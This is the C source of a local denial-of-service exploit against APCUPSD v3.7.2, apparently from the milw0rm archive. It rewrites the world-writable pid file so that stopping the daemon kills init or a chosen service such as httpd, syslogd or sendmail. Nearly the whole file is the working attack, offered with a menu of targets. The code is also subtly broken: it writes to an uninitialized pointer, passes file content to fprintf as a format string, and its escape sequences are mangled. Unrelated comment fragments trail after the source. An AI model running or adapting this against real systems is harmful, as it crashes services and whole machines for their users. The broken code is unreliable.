/* Local Denial of Service for any linux box running APCUPSD v3.7.2
*
* APCUPSD has his pid file world writeable, therefore it is possible
* to let it kill another pid and create a denial of service against any
* running daemon. (when the apcupsd is stopped, for example)
*
* Bug discovered by: Mattias Dartsch <[email protected]>
* Exploit code by: The Itch / BsE
*
* Greets fly out to: Tasc, C-Murdah, Calimonk, Zer0, Tozz, Pyra,
* Shadowlady, Wildcoyote, Lucipher, Zephyr, ph33r-the-b33r and aiko
*/
#include <stdio.h>
#define PIDFILE "/var/run/apcupsd.pid"
/* pid file definition (processes that you can choose from to crash)
* these pid files and their paths came from a redhat distribution
*/
#define HTTPDPID "/var/run/httpd.pid"
#define SYSLOGDPID "/var/run/syslogd.pid"
#define CRONDPID "/var/run/crond.pid"
#define KLOGDPID "/var/run/klogd.pid"
#define INETDPID "/var/run/inetd.pid"
#define IDENTDPID "/var/run/identd.pid"
#define SENDMAILPID "/var/run/sendmail.pid"
int dosusage(char *apcfilename)
{
printf("----------------------------n");
printf("nUsage: %s <number>n", apcfilename);
printf("where number is either:n");
printf("1. crash linuxn");
printf("2. crash httpdn");
printf("3. crash klogdn");
printf("4. crash crondn");
printf("5. crash syslogdn");
printf("6. crash inetdn");
printf("7. crash indentdn");
printf("8. crash sendmaildnn");
return 0;
}
int main(int argc, char **argv)
{
FILE *apcpid;
FILE *dospidfile;
char *dospid[5];
int dosarg;
printf("nAPCUPSD can be used to crash any linux distributionn");
printf("or any other pid running at that moment when apcupsd isn");
printf("stopped or when it gets normally killed using its pid.n");
printf("nCoded by The Itch / Bsenn");
if(argc < 2) { dosusage(argv[0]); exit(0); }
if(atoi(argv[1]) > 8) { dosusage(argv[0]); exit(0); }
dosarg = atoi(argv[1]);
apcpid = fopen(PIDFILE, "r");
if(!apcpid)
{
printf("%s does not existnn", PIDFILE);
exit(1);
}
fclose(apcpid);
apcpid = fopen(PIDFILE, "w");
if(dosarg == 1)
{
/* crash entire linux */
fprintf(apcpid, "1");
}
if(dosarg == 2)
{
/* crash httpd */
dospidfile = fopen(HTTPDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 3)
{
/* crash klogd */
dospidfile = fopen(KLOGDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 4)
{
/* crash crond */
dospidfile = fopen(CRONDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 5)
{
/* crash syslogd */
dospidfile = fopen(SYSLOGDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 6)
{
/* crash inetd */
dospidfile = fopen(INETDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 7)
{
/* crash identd */
dospidfile = fopen(IDENTDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 8)
{
/* crash sendmail */
dospidfile = fopen(SENDMAILPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
fclose(apcpid);
printf("DoS activated, its now a matter of time until apcupsd getsn");
printf("restarted or stopped....nn");
return 0;
}
// milw0rm.com [2001-01-15]
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666